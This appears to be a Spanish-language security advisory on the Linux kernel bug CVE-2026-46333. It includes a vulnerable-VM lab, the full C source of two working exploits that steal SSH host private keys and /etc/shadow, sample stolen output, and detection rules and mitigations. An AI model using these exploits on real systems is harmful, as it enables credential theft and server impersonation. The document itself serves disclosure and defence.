Que es ssh-keysign-pwn (CVE-2026-46333)
ssh-keysign-pwn explota un bug en ptrace_may_access() del kernel Linux que permite a un usuario sin privilegios leer ficheros protegidos de root como las claves privadas SSH del host (/etc/ssh/ssh_host_*_key, modo 0600) y /etc/shadow.
No es una escalada de privilegios directa: es una vulnerabilidad de lectura de ficheros privilegiados que permite robar credenciales para obtener root posteriormente (cracking offline del hash de shadow, o impersonación del servidor SSH con las claves robadas).
El bug fue reportado por Qualys y parcheado por Linus Torvalds el 2026-05-14 (commit 31e62c2ebbfd). Jann Horn ya había identificado la forma del ataque con pidfd_getfd en octubre de 2020. Seis años abierto.
Datos clave
| Campo | Valor |
|---|---|
| CVE | CVE-2026-46333 |
| Tipo | Lectura de ficheros privilegiados (information disclosure) |
| CWE | Pendiente de asignación |
| Kernels afectados | Todos los estables anteriores a 2026-05-14 (pre-31e62c2ebbfd) |
| Exploit público | Si (0xdeadbeefnetwork/ssh-keysign-pwn) |
| Complejidad | Baja (C puro, ~90 líneas, sin dependencias) |
| Confirmado en | Ubuntu 22.04/24.04/26.04, Debian 13, Arch, CentOS 9, RPi OS Bookworm |
El bug: ptrace_may_access() y mm-NULL
La función __ptrace_may_access() en el kernel verifica si un proceso puede acceder a otro. Parte de esa verificación comprueba si el proceso objetivo es "dumpable" (puede generar core dumps). Pero cuando task->mm == NULL (el proceso ya no tiene memoria mapeada), se salta la comprobación de dumpability.
La ventana de explotación esta en do_exit():
- Un proceso setuid (ej.
ssh-keysign) abre ficheros privilegiados como root - El proceso llama a
exit_mm()— libera su memoria,task->mm = NULL - Pero los file descriptors siguen abiertos —
exit_files()se ejecuta despues - En esa ventana (mm=NULL, fds abiertos),
pidfd_getfd(2)puede robar los file descriptors si el uid del caller coincide con el uid del target
pidfd_getfd(2) es una syscall que permite obtener una copia de un file descriptor de otro proceso. Normalmente esta protegida por ptrace_may_access(), pero el bug en el check de dumpability la deja pasar cuando mm=NULL.
Los dos vectores de ataque
1. sshkeysign_pwn — robo de claves SSH host
ssh-keysign es un binario setuid que abre /etc/ssh/ssh_host_{ecdsa,ed25519,rsa}_key (modo 0600, propiedad de root) antes de llamar a permanently_set_uid(). Si EnableSSHKeysign=no (la configuración por defecto), ssh-keysign hace exit con los file descriptors de las claves todavia abiertos.
El exploit:
- Lanza
ssh-keysignrepetidamente (hasta 500 rounds) - Abre un
pidfdal proceso hijo conpidfd_open() - Intenta
pidfd_getfd()en un bucle rápido (30000 intentos) sobre los fd 3-31 - Cuando acierta la ventana mm-NULL, obtiene el fd de la clave privada
- Lee y muestra la clave por stdout
2. chage_pwn — robo de /etc/shadow
chage -l abre /etc/shadow con O_RDONLY y luego hace setreuid(ruid, ruid) para eliminar privilegios. Misma race condition: los fd siguen abiertos durante do_exit().
Escenarios de explotación
Donde ES explotable
| Escenario | Riesgo | Por que |
|---|---|---|
| Servidores SSH multi-tenant | Critico | Cualquier usuario roba las claves SSH host y puede impersonar el servidor (MitM) |
| Servidores con usuarios locales | Critico | Robo de /etc/shadow + cracking offline = root |
| CI/CD runners | Alto | Un job malicioso roba claves SSH del runner |
| Containers (si ssh-keysign disponible) | Alto | Escape parcial: robo de credenciales del host |
| Cloud VMs compartidas | Alto | Un tenant roba las claves SSH de la VM |
Que se puede robar
| Fichero | Como | Impacto |
|---|---|---|
/etc/ssh/ssh_host_ecdsa_key | sshkeysign_pwn | Impersonar servidor SSH, MitM |
/etc/ssh/ssh_host_ed25519_key | sshkeysign_pwn | Impersonar servidor SSH, MitM |
/etc/ssh/ssh_host_rsa_key | sshkeysign_pwn | Impersonar servidor SSH, MitM |
/etc/shadow | chage_pwn | Cracking offline de passwords, root si se crackea |
Donde NO es explotable
| Escenario | Por que |
|---|---|
Kernel parcheado (>= 31e62c2ebbfd) | El check de dumpability funciona correctamente |
| Sistemas sin ssh-keysign | Sin el binario setuid, no hay fd que robar (para ese vector) |
| Containers sin setuid binaries | --no-new-privileges o nosuid mount previenen el ataque |
| Sistemas con passwords deshabilitados | Shadow sin hashes utiles (solo * o !) |
Lab: reproducción con Vagrant
Requisitos
- Vagrant >= 2.4
- VirtualBox >= 7.0
- Conexion a internet
Desplegar la VM vulnerable
#!/bin/bash
# deploy_ssh_keysign_pwn_lab.sh - Lab para CVE-2026-46333
# Uso: chmod +x deploy_ssh_keysign_pwn_lab.sh && ./deploy_ssh_keysign_pwn_lab.sh
LAB_DIR="ssh_keysign_pwn_lab"
echo "=== CVE-2026-46333 (ssh-keysign-pwn) Lab ==="
mkdir -p "$LAB_DIR"
cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-46333 - ssh-keysign-pwn Lab
# ptrace_may_access mm-NULL bypass + pidfd_getfd
Vagrant.configure("2") do |config|
config.vm.box = "bento/ubuntu-24.04"
config.vm.hostname = "ssh-keysign-pwn-lab"
config.vm.provider "virtualbox" do |vb|
vb.name = "ssh-keysign-pwn-lab"
vb.memory = "1024"
vb.cpus = 2
end
config.vm.provision "shell", inline: <<-SHELL
export DEBIAN_FRONTEND=noninteractive
apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null
apt-get update -qq
apt-get install -y -qq gcc make git openssh-client
useradd -m -s /bin/bash attacker
echo "attacker:attacker" | chpasswd
cd /home/attacker
git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn.git 2>/dev/null || true
if [ -d /home/attacker/ssh-keysign-pwn ]; then
cd /home/attacker/ssh-keysign-pwn && make
fi
chown -R attacker:attacker /home/attacker/ssh-keysign-pwn
echo ""
echo "============================================"
echo " CVE-2026-46333 ssh-keysign-pwn"
echo " Kernel: $(uname -r)"
echo "============================================"
echo " vagrant ssh && su - attacker"
echo " cd ssh-keysign-pwn"
echo " ./sshkeysign_pwn # roba claves SSH host"
echo " ./chage_pwn root # roba /etc/shadow"
echo "============================================"
SHELL
end
EOF
cd "$LAB_DIR" && vagrant up
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"Ejecutar:
chmod +x deploy_ssh_keysign_pwn_lab.sh
./deploy_ssh_keysign_pwn_lab.shLa VM se levanta con:
- Ubuntu 24.04 con kernel
6.8.0-86-generic(vulnerable) ssh-keysigninstalado en/usr/lib/openssh/ssh-keysign- Exploit compilado en
/home/attacker/ssh-keysign-pwn/ - Usuario
attacker(password:attacker) sin privilegios
Verificar que el sistema es vulnerable
vagrant ssh
# Comprobar kernel
uname -r
# 6.8.0-86-generic
# Comprobar que ssh-keysign existe y es setuid
ls -la /usr/lib/openssh/ssh-keysign
# -rwsr-xr-x 1 root root ssh-keysign
# Comprobar que las claves SSH no son legibles
cat /etc/ssh/ssh_host_ecdsa_key
# Permission denied
# Comprobar que shadow no es legible
cat /etc/shadow
# Permission deniedEjecutar los exploits
Robar claves SSH host:
su - attacker
# Password: attacker
cd ssh-keysign-pwn
./sshkeysign_pwnSalida real de la prueba:
uid=1001 target=/usr/lib/openssh/ssh-keysign
fd 4 -> /etc/ssh/ssh_host_ecdsa_key (round=0 try=1664)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQENXQ9aojrtWZkPgMfrQ8MN2fd8EXU
...
-----END OPENSSH PRIVATE KEY-----El exploit roba la clave privada ECDSA del host SSH en la primera ronda, tras 1664 intentos de race condition. El fichero tiene permisos 0600 y es propiedad de root, pero el exploit lo lee como usuario sin privilegios.
Robar /etc/shadow:
./chage_pwn rootSalida real:
fd 6 -> /etc/shadow (round=0 try=648)
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
...
vagrant:$6$rounds=4096$5CU3LEj/...:20384:0:99999:7:::
attacker:$y$j9T$74vFTWOXXLb...:20590:0:99999:7:::Roba el fichero shadow completo en round 0, try 648. Los hashes de password se pueden crackear offline con hashcat o john.
Codigo fuente completo de los exploits
sshkeysign_pwn.c
El exploit sshkeysign_pwn.c es sorprendentemente simple (~90 líneas de C puro, sin dependencias externas):
/*
* "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31
*
* ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
* Bails out with the fds still open on EnableSSHKeysign=no. Race the
* exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
* (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
static int pidfd_open(pid_t pid, unsigned f)
{
return syscall(__NR_pidfd_open, pid, f);
}
static int pidfd_getfd(int pfd, int fd, unsigned f)
{
return syscall(__NR_pidfd_getfd, pfd, fd, f);
}
static const char *PATHS[] = {
"/usr/libexec/ssh-keysign",
"/usr/libexec/openssh/ssh-keysign",
"/usr/lib/ssh/ssh-keysign",
"/usr/lib/openssh/ssh-keysign",
NULL,
};
int main(void)
{
const char *bin = NULL;
for (int i = 0; PATHS[i]; i++)
if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
fprintf(stderr, "uid=%d target=%s\n", getuid(), bin);
for (int round = 0; round < 500; round++) {
pid_t c = fork();
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
execl(bin, "ssh-keysign", (char *)NULL);
_exit(127);
}
int pfd = pidfd_open(c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int hit = 0;
for (int a = 0; a < 30000 && !hit; a++) {
for (int i = 3; i < 32; i++) {
int s = pidfd_getfd(pfd, i, 0);
if (s < 0) continue;
char p[256] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
char buf[4096];
lseek(s, 0, SEEK_SET);
ssize_t k = read(s, buf, sizeof(buf) - 1);
if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
close(s);
hit = 1;
break;
}
close(s);
}
}
close(pfd);
waitpid(c, NULL, 0);
if (hit) return 0;
}
fprintf(stderr, "no hit in 500 rounds\n");
return 1;
}chage_pwn.c
El segundo vector de ataque, para robar /etc/shadow via chage:
/*
* "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31
*
* chage -l opens /etc/passwd and /etc/shadow before
* setreuid(ruid, ruid). The drop sets uid=euid=suid=ruid. mm-NULL
* window in do_exit() lets pidfd_getfd lift the /etc/shadow fd.
*
* Crack the root hash offline -> su - -> root shell.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
int main(int argc, char **argv)
{
const char *user = argc > 1 ? argv[1] : "root";
for (int round = 0; round < 500; round++) {
pid_t c = fork();
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
dup2(dn, 1); dup2(dn, 2);
execl("/usr/bin/chage", "chage", "-l", user, (char *)NULL);
_exit(127);
}
int pfd = syscall(__NR_pidfd_open, c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int got = -1;
for (int a = 0; a < 30000 && got < 0; a++) {
for (int i = 3; i < 32; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
if (s < 0) continue;
char p[256] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, "/etc/shadow")) {
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
got = s;
break;
}
close(s);
}
}
if (got >= 0) {
char buf[8192];
lseek(got, 0, SEEK_SET);
ssize_t n;
while ((n = read(got, buf, sizeof(buf))) > 0)
fwrite(buf, 1, n, stdout);
close(got);
close(pfd);
waitpid(c, NULL, 0);
return 0;
}
close(pfd);
waitpid(c, NULL, 0);
}
fprintf(stderr, "no hit in 500 rounds\n");
return 1;
}Compilación manual
gcc -O2 -o sshkeysign_pwn sshkeysign_pwn.c
gcc -O2 -o chage_pwn chage_pwn.cCómo funciona
La clave esta en pidfd_getfd(): normalmente falla con EPERM porque ptrace_may_access() lo bloquea. Pero durante la ventana entre exit_mm() y exit_files() en do_exit(), el check de dumpability se salta porque task->mm == NULL, y pidfd_getfd() tiene exito.
El flujo de sshkeysign_pwn es: lanzar ssh-keysign repetidamente (hasta 500 rounds), abrir un pidfd al proceso hijo, e intentar pidfd_getfd() en un bucle rápido (30000 intentos) sobre los fd 3-31. Cuando acierta la ventana mm-NULL, obtiene el fd de la clave privada, verifica que apunta a ssh_host_*_key via /proc/self/fd/, y la lee por stdout. chage_pwn sigue el mismo patrón pero busca /etc/shadow en los fd robados.
Workarounds para entornos que no pueden parchear
Workaround 1: Deshabilitar ssh-keysign
ssh-keysign no se usa en la gran mayoria de sistemas (solo se necesita para host-based authentication, que casi nadie configura):
# Quitar permisos de ejecución
chmod 0 /usr/lib/openssh/ssh-keysign
# O eliminar el bit setgid
chmod g-s /usr/lib/openssh/ssh-keysign
# Verificar
ls -la /usr/lib/openssh/ssh-keysign
# ---------- 1 root ssh 0 ssh-keysignQué rompe esto: solo afecta a host-based authentication SSH (HostbasedAuthentication yes), que raramente se usa.
Workaround 2: Proteger chage
En Ubuntu 24.04 chage tiene setgid (-rwxr-sr-x 1 root shadow), no setuid. Quitar solo u-s no tiene efecto. La forma segura es restringir el acceso completamente:
# Restringir acceso (recomendado)
chmod 750 /usr/bin/chage
# O quitar todos los bits setuid/setgid
chmod a-s /usr/bin/chageQué rompe esto: chage -l dejará de funcionar para usuarios normales. Los admins pueden seguir usando sudo chage.
Workaround 3: Reglas de auditoria
# /etc/audit/rules.d/ssh-keysign-pwn.rules
# Detectar ejecución de ssh-keysign por usuarios no-root
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k ssh_keysign_exec
# Detectar pidfd_getfd (syscall 438)
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k pidfd_getfd_attempt
# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_ed25519_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_rsa_key -p r -k ssh_host_key_read
# Detectar ejecución masiva de chage
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/chage -F auid>=1000 -k chage_execaugenrules --loadWorkaround 4: Bloquear pidfd_getfd con seccomp
Para containers, bloquear la syscall pidfd_getfd (438):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["pidfd_getfd"],
"action": "SCMP_ACT_ERRNO"
}
]
}Detección del ataque
Indicadores de compromiso
El exploit tiene un patron muy reconocible:
- Ejecución masiva y rapida de
ssh-keysign(100-2000 spawns) - Llamadas
pidfd_open+pidfd_getfden rafaga - Un proceso no-root que de repente tiene abierto un fd apuntando a
/etc/ssh/ssh_host_*_key
Regla auditd
# /etc/audit/rules.d/ssh-keysign-pwn.rules
# Detectar ejecución masiva de ssh-keysign
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k cve_2026_46333_keysign
# Detectar syscall pidfd_getfd (438) por no-root
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k cve_2026_46333_pidfd
# Detectar lectura de /etc/shadow por no-root
-w /etc/shadow -p r -k cve_2026_46333_shadow
# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_ed25519_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_rsa_key -p r -k cve_2026_46333_hostkeyRegla YARA
rule SSHKeysignPwn_CVE_2026_46333 {
meta:
description = "Detecta el exploit ssh-keysign-pwn (CVE-2026-46333)"
author = "Red Orbita"
date = "2026-05-17"
cve = "CVE-2026-46333"
severity = "critical"
strings:
$s1 = "pidfd_getfd" ascii
$s2 = "pidfd_open" ascii
$s3 = "ssh-keysign" ascii
$s4 = "ssh_host_" ascii
$s5 = "sshkeysign_pwn" ascii
$s6 = "chage_pwn" ascii
$s7 = "/etc/shadow" ascii
$s8 = "no hit in 500 rounds" ascii
condition:
($s1 and $s2 and ($s3 or $s4)) or
($s5 or $s6) or
($s8 and $s1) or
(4 of them)
}yara -r ssh_keysign_pwn.yar /home/ /tmp/ /var/tmp/ /dev/shm/Reglas Wazuh
<group name="ssh_keysign_pwn,exploit,cve-2026-46333">
<!-- Ejecución de ssh-keysign por usuario no privilegiado -->
<rule id="100520" level="12">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_keysign</field>
<description>CVE-2026-46333: Ejecución de ssh-keysign por usuario no-root</description>
<mitre>
<id>T1552.004</id>
</mitre>
<group>exploit_attempt,</group>
</rule>
<!-- Ejecución masiva de ssh-keysign (>10 en 5 segundos) -->
<rule id="100521" level="15" frequency="10" timeframe="5">
<if_matched_sid>100520</if_matched_sid>
<same_source_ip/>
<description>CVE-2026-46333: Ejecución masiva de ssh-keysign (race condition en curso)</description>
<mitre>
<id>T1552.004</id>
</mitre>
<group>exploit_attempt,attack,</group>
</rule>
<!-- Uso de pidfd_getfd por no-root -->
<rule id="100522" level="12">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_pidfd</field>
<description>CVE-2026-46333: Syscall pidfd_getfd por usuario no-root</description>
<mitre>
<id>T1552</id>
</mitre>
<group>exploit_attempt,</group>
</rule>
<!-- Lectura de clave SSH host por no-root -->
<rule id="100523" level="14">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_hostkey</field>
<description>CVE-2026-46333: Lectura de clave SSH host por usuario no-root</description>
<mitre>
<id>T1552.004</id>
</mitre>
<group>credential_access,attack,</group>
</rule>
<!-- Lectura de /etc/shadow por no-root -->
<rule id="100524" level="15">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_shadow</field>
<description>CVE-2026-46333: Lectura de /etc/shadow por usuario no-root</description>
<mitre>
<id>T1003.008</id>
</mitre>
<group>credential_access,attack,</group>
</rule>
</group>Elastic Security
{
"rule": {
"name": "CVE-2026-46333 ssh-keysign-pwn - Mass ssh-keysign Execution",
"description": "Detecta ejecución masiva de ssh-keysign que indica explotación de CVE-2026-46333",
"severity": "critical",
"risk_score": 95,
"type": "threshold",
"query": "process.name: \"ssh-keysign\" AND user.id >= 1000",
"threshold": {
"field": ["host.name"],
"value": 10,
"cardinality": []
},
"threat": [
{
"framework": "MITRE ATT&CK",
"tactic": {
"id": "TA0006",
"name": "Credential Access"
},
"technique": [
{
"id": "T1552.004",
"name": "Private Keys"
}
]
}
],
"tags": ["CVE-2026-46333", "ssh-keysign-pwn", "Linux"]
}
}KQL:
# Ejecución masiva de ssh-keysign
process.name: "ssh-keysign" AND user.id >= 1000
# Uso de pidfd_getfd
auditd.data.key: "cve_2026_46333_pidfd"
# Acceso a claves SSH host
auditd.data.key: "cve_2026_46333_hostkey"Splunk
| Ejecución masiva de ssh-keysign
index=linux sourcetype=linux:audit key="cve_2026_46333_keysign"
| bucket _time span=5s
| stats count by host, auid, _time
| where count > 10
| eval severity="critical"
| Uso de pidfd_getfd por no-root
index=linux sourcetype=linux:audit syscall=438 auid>=1000
| stats count by host, auid, exe
| sort -count
| Acceso a claves SSH host o shadow
index=linux sourcetype=linux:audit (key="cve_2026_46333_hostkey" OR key="cve_2026_46333_shadow")
| stats count by host, auid, key, _timeIBM QRadar
Rule Name: CVE-2026-46333 ssh-keysign-pwn - Mass Execution
Rule Type: Event (Anomaly)
Condition:
- More than 10 events with Event Name "SYSCALL" AND "ssh-keysign"
- Within 5 seconds
- From same Source IP
Action: Dispatch Critical Offense
Severity: 10
MITRE: T1552.004Script de detección rapida
#!/bin/bash
# check_ssh_keysign_pwn.sh - Verificar estado de CVE-2026-46333
echo "=== CVE-2026-46333 ssh-keysign-pwn - Check ==="
echo ""
# 1. Verificar si ssh-keysign existe y es setuid/setgid
VULN=0
for path in /usr/libexec/ssh-keysign /usr/libexec/openssh/ssh-keysign \
/usr/lib/ssh/ssh-keysign /usr/lib/openssh/ssh-keysign; do
if [ -f "$path" ]; then
PERMS=$(stat -c%A "$path")
if echo "$PERMS" | grep -q "s"; then
echo "[VULNERABLE] $path tiene bit setuid/setgid: $PERMS"
VULN=1
else
echo "[OK] $path sin bit setuid/setgid: $PERMS"
fi
fi
done
if [ $VULN -eq 0 ]; then
echo "[OK] ssh-keysign no encontrado o sin setuid"
fi
# 2. Verificar si chage tiene setuid
if [ -f /usr/bin/chage ]; then
PERMS=$(stat -c%A /usr/bin/chage)
if echo "$PERMS" | grep -q "s"; then
echo "[VULNERABLE] /usr/bin/chage tiene bit setuid: $PERMS"
VULN=1
fi
fi
# 3. Verificar kernel
echo ""
echo "[INFO] Kernel: $(uname -r)"
# 4. Buscar el exploit
echo ""
echo "Buscando indicadores de compromiso..."
for dir in /home /tmp /var/tmp /dev/shm; do
find "$dir" \( -name "sshkeysign_pwn" -o -name "chage_pwn" -o -name "ssh-keysign-pwn" \) 2>/dev/null | while read f; do
echo " [ALERTA] Exploit encontrado: $f"
done
done
# 5. Verificar integridad de claves SSH
echo ""
echo "Claves SSH host:"
for key in /etc/ssh/ssh_host_*_key; do
if [ -f "$key" ]; then
PERMS=$(stat -c%a "$key")
OWNER=$(stat -c%U "$key")
echo " $key: permisos=$PERMS owner=$OWNER"
if [ "$PERMS" != "600" ] || [ "$OWNER" != "root" ]; then
echo " [ALERTA] Permisos incorrectos"
fi
fi
done
echo ""
if [ $VULN -eq 1 ]; then
echo "[VULNERABLE] Aplicar workaround: chmod 0 /usr/lib/openssh/ssh-keysign"
else
echo "[OK] Sistema no vulnerable al vector ssh-keysign"
fiSolución definitiva: actualizar el kernel
El parche es el commit 31e62c2ebbfd de Linus Torvalds (2026-05-14), que modifica get_dumpable() para devolver un valor seguro cuando task->mm == NULL:
- Si el proceso nunca tuvo mm (kernel thread): devuelve "no dumpable" (valor 0)
- Si el proceso tuvo mm pero ya la libero: usa el ultimo valor cacheado de dumpability
- Requiere
CAP_SYS_PTRACEpara acceder a procesos sin mm
Ubuntu
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo rebootDebian
sudo apt update && sudo apt upgrade -y linux-image-amd64
sudo rebootRHEL/CentOS/Rocky
sudo dnf update kernel -y
sudo rebootPost-parche: rotar claves SSH host
Critico: si el sistema fue vulnerable, las claves SSH host pueden haber sido robadas. Rotarlas:
# Regenerar todas las claves SSH host
rm /etc/ssh/ssh_host_*
ssh-keygen -A
# Reiniciar sshd
systemctl restart sshd
# Notificar a los usuarios que actualicen known_hosts
echo "ATENCION: Las claves SSH del host han cambiado"
echo "Los usuarios deben ejecutar:"
echo " ssh-keygen -R <hostname>"Plan de respuesta recomendado
| Prioridad | Acción | Tiempo |
|---|---|---|
| Inmediata | chmod 0 /usr/lib/openssh/ssh-keysign en todos los hosts | < 30 min |
| Inmediata | Desplegar reglas de auditoria | < 1 hora |
| 24h | Verificar si /etc/shadow contiene hashes crackeables | < 24h |
| 24h | Rotar claves SSH host en servidores criticos | < 24h |
| 72h | Actualizar kernel en todos los sistemas | < 72h |
| Post-parche | Rotar claves SSH host en todos los servidores | Tras parche |
| Post-parche | Forzar cambio de passwords si shadow fue expuesto | Tras parche |
Conclusiones
CVE-2026-46333 es un bug de 6 años en ptrace_may_access() que permite leer ficheros privilegiados sin autenticación. Lo que lo hace peligroso:
- Simplicidad: ~90 líneas de C, sin dependencias, funciona en round 0
- Universalidad: afecta todos los kernels estables anteriores a 2026-05-14
- Impacto real: robo de claves SSH host (MitM) + shadow (cracking offline)
- Dificil de detectar: el exploit solo ejecuta binarios normales del sistema (ssh-keysign, chage)
- Pattern antiguo: Jann Horn lo identifico en 2020, pero no se corrigio hasta 2026
La mitigación inmediata más efectiva es chmod 0 /usr/lib/openssh/ssh-keysign, que no afecta a la operativa normal del SSH. Tras parchear, rotar las claves SSH host es obligatorio.
Comentarios